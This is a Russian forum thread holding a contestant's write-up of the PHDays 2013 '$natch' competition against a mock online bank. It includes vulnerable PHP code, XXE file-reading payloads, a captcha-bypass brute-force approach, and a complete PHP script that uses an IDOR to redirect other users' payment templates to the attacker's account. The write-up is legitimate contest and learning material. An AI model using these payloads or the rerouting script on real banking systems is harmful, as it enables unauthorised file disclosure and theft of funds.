Write UP "$natch" (PHDays 2013)

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by BigBear, 29 May 2013.

  1. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,766
    Likes Received:
    836
    Reputations:
    857
    По итогам нашумевшего конкурса "$natch".

    Конкурс уже прошёл, решил что пора бы напечатать свой write-up на тему "Как украсть деньги из IBank".

    Надо признать, организаторы постарались на славу, предоставив пентестерам сразу 3 (!!!) вида различных уязвимостей для компрометации системы ДБО.

    И тут было где разгуляться. Тем более банк обещал быть в размере 20к рублей, а сумма победителя ещё и удваивается спонсором!

    Итак.

    День первый.

    12:00


    Мы получили на руки исходники системы IBank и уже готовую виртуальную систему с этой ДБО на борту.
    Но времени изучать исходники толком не было, вокруг была куча интереснейших докладов, поэтому изучение было передвинуто на вечер.

    19:00

    Наконец-то нашли время сесть и поковырять исходники. Практически сразу обнаружилось пару интересных вещей.

    В то время как для входа в аккаунт требовалось передать 3 параметра: логин, пароль и капчу; дополнительно была найдена возможность авторизоваться через мобильный интерфейс, где запрашивало только логин и пароль.

    AuthController.php
    Code:
     if ($request->isPost()) {
                $login    = $request->getPost('login');
                $password = $request->getPost('password');
                $captcha  = $request->getPost('captcha');
    
                $return['login'] = $login;
                
                /**
                 * Disable captcha on mobile interface
                 */
                
                if (!$mobile) {
                    if (!isset($_SESSION['captcha']['code']) || ($captcha != $_SESSION['captcha']['code'])) {
                        $return['captchaError'] = true;
                        return $return;
                    }
                }
                
                $result = $this->auth->authenticate($login, $password);
    Для того чтобы ДБО пускало нас внуть через мобильный интерфейс - должна быть установлена Cookie "mobileInterface=true".

    IndexController.php
    Code:
    public function switchInterfaceAction()
        {
            $request = $this->serviceManager->get('request');
    
            if ($request->getCookie('mobileInterface')) {
                setcookie('mobileInterface', '', null, '/');
            } else {
                setcookie('mobileInterface', 'true', null, '/');
            }
    Всё это давало нам отличный шанс побрутить аккаунты на слабые пароли. Брутер написался очень быстро.

    В качестве ответа-индикатора гудов и бэдов использовали код сервера "302 Found".

    22:00

    Зарядившись алкоголем (какой кодинг без него? Оо), мы с приятелями-конкурентами разделились на 2 части: кто-то дописывал и оптимизировал код, кто-то искал уязвимости дальше.

    Второй вид уязвимости не заставил себя долго ждать.

    XXE в функции импорта контактов.

    ContactsController.php
    Code:
    public function indexAction()
        {
            return array(
                'user'     => $this->user,
                'contacts' => $this->userService->fetchUserContacts($this->user)
            );
        }
    
        public function exportAction()
        {
            $this->application->setOption('disableLayout', true)
                              ->setOption('disableView', true);
    
            $response = $this->serviceManager->get('response');
            $response->setHeader('Content-type', 'text/xml')
                     ->setHeader('Content-Disposition', 'attachment; filename="contacts.xml"')
                     ->appendBody($this->userService->exportUserContacts($this->user));
        }
        
        public function importAction()
        {
            if (isset($_FILES['contacts'])) {
                $this->userService->importUserContacts($this->user, $_FILES['contacts']['tmp_name']);
            }
            
            $this->redirect('/contacts');
        }
        
        public function addAction()
        {   
            if ($this->request->isPost()){
                $name        = $this->request->getPost('name');
                $account     = $this->request->getPost('account');
                $description = $this->request->getPost('description');
                if (!empty($name) && !empty($account)) {
                    $this->userService->addUserContact($this->user, $name, $account, $description);
                    $this->redirect('/contacts');
                }
            }
        }
        
        public function editAction()
        {
            $id = $this->request->getParam('id');
            $contact = $this->userService->fetchContactById($id);
            
            if (!$contact)
                throw new ContactNotFoundException();
            
            if ($contact->user_id != $this->user->id)
                throw new ForbiddenException();
            
            if ($this->request->isPost()) {
                $contact->name        = $this->request->getPost('name');
                $contact->account     = $this->request->getPost('account');
                $contact->description = $this->request->getPost('description');
                
                if ($this->userService->updateContact($contact)) {
                    $this->redirect('/contacts');
                }
            }
            
            return array(
                'contact' => $contact
            );
    Злоумышленник может внедрить свою XML сущность для чтения произвольного файла в системе. Что мы с радостью и сделали.

    В качестве инжектируемого парамера изначально было выбрана переменная name. Но её длина не позволяла читать файлы длинного содержания. Тогда была найдена переменная description, которая не была видна при отображении, но была видна при редактировании списка конактов.

    Буквально на коленке был написал эксплойт.

    Code:
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE contact [<!ENTITY x SYSTEM "/logs/messages.log">]>
    <contacts><contact><name>name</name><account>90107430600712500001</account><description>&x;</description></contact></contacts>
    Для первоначального эксплойта требовался абсолютный пусть до файлов в ОС. Эта проблема легко решалась разработчиками ДБО.

    Bootstrap.php
    Code:
    if ($this->request->getCookie('debug')) {
        $this->setOption('displayExceptions', true);
    }
    Как видно, достаточно добавить кукис debug, равную,например, 1 - и мы получаем вывод ошибок, самые примитивные из которых вываливаются при запросе несуществующей страницы.

    Была идея читать файл через wrapper php://filter/read=convert.base64-encode/resource, но она провалилась. Толи мы где-то косякнули с кодом, толи php отказывался отдавать файл через wrapper.

    (Позже организаторы подтвердили первую догадку, так как итоговый эксплойт выглядел донельзя просто).

    Code:
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE contact [<!ENTITY x SYSTEM "php://filter/read=convert.base64-encode/resource=logs/messages.log">]>
    <contacts><contact><name>name</name><account>90107430600712500003</account><description>&x;</description></contact></contacts>
    День второй

    02:00


    Начали разбираться что это за типы аккаунтов такие "tan" и "mtan". В течение ночи эти переменные стали нарицательными, особенно для кодеров.

    Пришли к выводу, что перед нами 3 типа аккаунтов:

    1) tan. Транзакции отправляются посредством введения кода из БД таблицы tan. (По факту это имитация одноразовых кодов, выдаваемых банком на карточке).

    2) mtan. (version 1). Транзакции проходят без введения вообще каких либо кодов подтверждения. Практически одним кликом.

    3) mtan. (version 2). Транзакции проходят посредством ввода кода, оптравленного через SMS держателю счёта, при этом отправленнные коды кладутся в logs/messages.log.

    Как вы уже поняли, 2 и 3 тип аккаунтов легко эксплуатаировался либо простым проведением транзакции, либо проведением транзакции и последующим чтением через XXE отправленных кодов подтверждения на SMS.

    5:00

    Предыдущие 2 эксплойта были дописаны. Работали кривова-то. Код был мягко говоря не айс. Но он был!

    Перекопали исходники, не удалось понять в чем уязвимость шаблонов (раз они там были, значит видимо не просто так).
    А всё было очень просто!

    TransactionController.php
    Code:
    public function editTemplateAction()
        {   
            $template = $this->tService->fetchTemplateById($this->request->getParam('id'));
            
            if (!$template)
                throw new Exception\TransactionTemplateNotFoundException();
            
            if ($this->request->isPost()) {
                $template->name         = $this->request->getPost('name');
                $template->account_from = $this->request->getPost('from');
                $template->account_to   = $this->request->getPost('to');
                $template->sum          = $this->request->getPost('sum');
                
                if ($this->tService->updateTemplate($template)) {
                    $this->redirect('/transactions/templates');
                }
            }
            
            return array(
                'template' => $template
            );
        }
    TransactionService.php
    Code:
    public function fetchTemplateById($id)
        {
            $sth = $this->db->query("SELECT * FROM transaction_templates WHERE id = ? ", $id);
            if (!$sth->rowCount())
                return false;
            
            $template = new TransactionTemplate();
            $template->populate($sth->fetch());
            
            return $template;
        }
    
        public function addUserTemplate(User $user, $name, $from, $to, $sum)
        {
            $this->db->query("INSERT INTO transaction_templates VALUES(null,?,?,?,?,?)",
                             $user->id, $name, $from, $to, $sum);
    
            return $this;
        }
        
        public function updateTemplate(TransactionTemplate $template)
        {
            $this->db->query("UPDATE transaction_templates SET name = ?, account_from = ?, account_to = ?, sum = ? WHERE id = ?",
                             $template->name, $template->account_from,
                             $template->account_to, $template->sum, $template->id);
                    
            return true;
        }
    Из исходников видно, что у нас не проверяется ID человека, который редактирует шаблоны оплаты. Таким образом через специальный запрос в системе ДБО http://DBO/transactions/editTemplate/id/1 можно было редактировать любые шаблоны, подменяя адрес назначения платежа на свой.

    Эксплойт мы так и не написали. Организаторы сказали, что вообще никто эту уязвимость не эксплуатировал. И привели свой правильный эксплойт.

    Code:
    <?php
    
    $login       = '100001';
    $password    = 'qwerty';
    $account     = '90107430600227300001';
    $domain      = 'localhost';
    $cookie_file = '/tmp/ibank_cookie';
    
    function login($ch, $login, $password, $domain)
    {
        $postdata = http_build_query(
                array(
                    'login'    => $login,
                    'password' => $password,
                )
        );
    
        curl_setopt_array($ch, array(
            CURLOPT_URL            => $domain . '/auth/login',
            CURLOPT_POST           => 1,
            CURLOPT_FOLLOWLOCATION => 1,
            CURLOPT_POSTFIELDS     => $postdata,
        ));
    
        return curl_exec($ch);
    }
    
    function logout($ch, $domain)
    {
        curl_setopt_array($ch, array(
            CURLOPT_URL            => $domain . '/auth/logout',
            CURLOPT_FOLLOWLOCATION => 0,
            CURLOPT_POST           => 0,
        ));
    
        return curl_exec($ch);
    }
    
    @unlink($cookie_file);
    file_put_contents($cookie_file, "$domain\tFALSE\t/\tFALSE\t0\tmobileInterface\ttrue", FILE_APPEND | LOCK_EX);
    
    $ch = curl_init();
    
    curl_setopt_array($ch, array(
        CURLOPT_HEADER         => 1,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_COOKIEJAR      => $cookie_file,
        CURLOPT_COOKIEFILE     => $cookie_file,
    ));
    
    login($ch, $login, $password, $domain);
    
    $i = 0;
    while (++$i) {
        if ($i > 100) {
            $i = 0;
            continue;
        }
        
        curl_setopt_array($ch, array(
            CURLOPT_URL  => $domain . '/transactions/editTemplate/id/' . $i,
            CURLOPT_POST => 0,
        ));
    
        $result = curl_exec($ch);
    
        if (strpos($result, '<h1>404. Page not found</h1>'))
            continue;
    
        preg_match_all("~<input name=\"(.+)\".+value=\"(.*)\">~mU", $result, $matches);
    
        $post_data = array();
        foreach ($matches[1] as $key => $name) {
            $value            = $matches[2][$key];
            $post_data[$name] = $value;
        }
        
        if ($post_data['to'] !== $account) {
            $post_data['to'] = $account;
    
            curl_setopt_array($ch, array(
                CURLOPT_POST       => 1,
                CURLOPT_POSTFIELDS => http_build_query($post_data),
            ));
    
            $result = curl_exec($ch);
            
            echo "From {$post_data['from']} sum {$post_data['sum']}\n";
        }
    }
    
    curl_close($ch);
    
    8:00

    Все дружно упали спать. Ром сделал своё дело. Хотя поспать толком не удалось.

    11:00

    Чёртов будильник! Голова плохо варила. Благо дома оказалась холодная Coca-cola и раковина в ванной )

    Умывшись и перекусив, мы отправились покорять PHDays. Наш главный кодер всё ещё дописывал/переписывал код. Неугомонный человек.

    12:15

    Началось. Прямо перед началом конкурса мы договорились о стратегии и обменялись эксплойтами.

    Нам были розданы конверты участников и локальные кабели.

    Казалось бы - всё прекрасно, но вот с первых минут всё пошло не так (.

    Сначала я начал тупить и не смог авторизоваться под собой в системе ДБО.

    Оказывается, в качестве аутентифкационных данных использовался логин и пасс нанесённый на карточку. Ок, понятно.

    Потом вдруг отказался работать эксплойт для итоговой ДБО. Косяк был в глобализации переменной ip.

    Когда он был исправлен, остальные участники уже пробрутили и вывели часть денег.

    Поэтому было решено дождаться, пока они решат сменить свои пароли. Не зря же организаторы предусмотрели чтение файла /logs/changePassword.log ?)

    Когда "вдруг" было объявлено, что всем пользователям принудительно сменили пароли, в ход пошёл другой наш эксплойт.

    И вот тут нас ждал облом. Из-за специсимволов в изменённых паролях наш фейковый XML файл не позволял читать файл смены паролей.

    А ведь всего-лишь надо было использовать wrapper php://filter/read=convert.base64-encode/resource. Мы лишь беспомощно развели руками и искали ошибку в наших скриптах, при этом недоумевая, почему дома эксплойт работал, а тут нет.

    12:45

    Прозвенел гонг. Конкурс подошёл к концу. На счету 0.

    Но большого разочарования нет, уязвимости были найдены, код написан. Чуток не хватило сообразительности. Так бывает =)

    [​IMG]

    Полный размер

    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

    Хочется сказать большое спасибо организаторам за предоставленный шанс попробовать себя в этом конкурсе.

    Было очень интересно копать баги и писать под них эксплойты. ИМХО это вообще самый интересный конкурс на PHDays 2013.

    Отдельное спасибо человеку написавшему ДБО в одиночку - респект и уважуха !!!

    Ну и спасибо всем моим товарищам, что были рядом и помогали во всём: Rebz, Trinux, FIXER aka shell_c0de, VY_CMa, alkos, konqi.

    BigBear, Antichat, 2013
     
    _________________________
    #1 BigBear, 29 May 2013
    Last edited: 29 May 2013
    4 people like this.
  2. Rebz

    Rebz Super Moderator
    Staff Member

    Joined:
    8 Nov 2004
    Messages:
    4,075
    Likes Received:
    1,525
    Reputations:
    1,126
    От себя добавлю, что были сделаны определенные выводы:
    1) начинать искать баги и автоматизировать эксплуатацию надо фактически сразу, не оставлять на вечер, работы много
    2) иметь на ноуте виртуальную машину и локальный веб-сервер с curl
    3) тестить
    4) ещё раз тестить под разными конфигурациями
    5) писать на питоне, хотя в этом конкурсе организаторы показали php-шные сплоиты :)
     
  3. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    580
    Likes Received:
    148
    Reputations:
    94
    Хорошую работу проделал.
     
  4. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    909
    Likes Received:
    461
    Reputations:
    722
    Я кепку и футболку урвал (=
    По большому счёту язык в этом году никакой роли не играл, хотя если брэйнфак был бы, то может времени ушло бы больше, а так задача была в основном в понимании сути ошибок, а реализовать можно было хоть на чём.

    ЗЫ Я халк!
     
    _________________________
    #4 VY_CMa, 29 May 2013
    Last edited: 29 May 2013
  5. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Молодцы!
    Жаль,конечно,что весь куш продинамил :(
     
  6. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Хехе

    Это как сказать. Код сплоита опубликуете? Хотелось бы оценить реализацию.
     
    _________________________
  7. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,766
    Likes Received:
    836
    Reputations:
    857
    У меня нету. Автор скрипта - Trinux
     
    _________________________
  8. KreshMaynz

    KreshMaynz Banned

    Joined:
    1 Mar 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    REBZ а не ты такой там был белобрысый? Ещё мелкий толстый бегал рыживатого цвета там ко всем приставал, вот думаю не гомосек ли он:) ?
    Я так посмотрел немного прихуел от вида кодеров там! Извини если грубо написал.
     
  9. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,766
    Likes Received:
    836
    Reputations:
    857
    Там была куча белобрысых. И куча "приставал". Конференция всё таки же.

    Ребза можешь глянуть на онлайн конференции. Ссылка есть на сайте phdays.ru

    Меня, VY_CMa тоже можно там увидеть, на одном из докладов. Палю "превад" =)
     
    _________________________
  10. Грабитель

    Joined:
    5 Mar 2013
    Messages:
    198
    Likes Received:
    12
    Reputations:
    -7
    Cсылочку можно? так просто не найти на их сайте.
     
  11. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    http://phdays.ru/registration/everywhere/broadcast.php#1
    Вкладка Congress Hall -> доклад "Роль современной молодежи на российском рынке информационной "
     
Loading...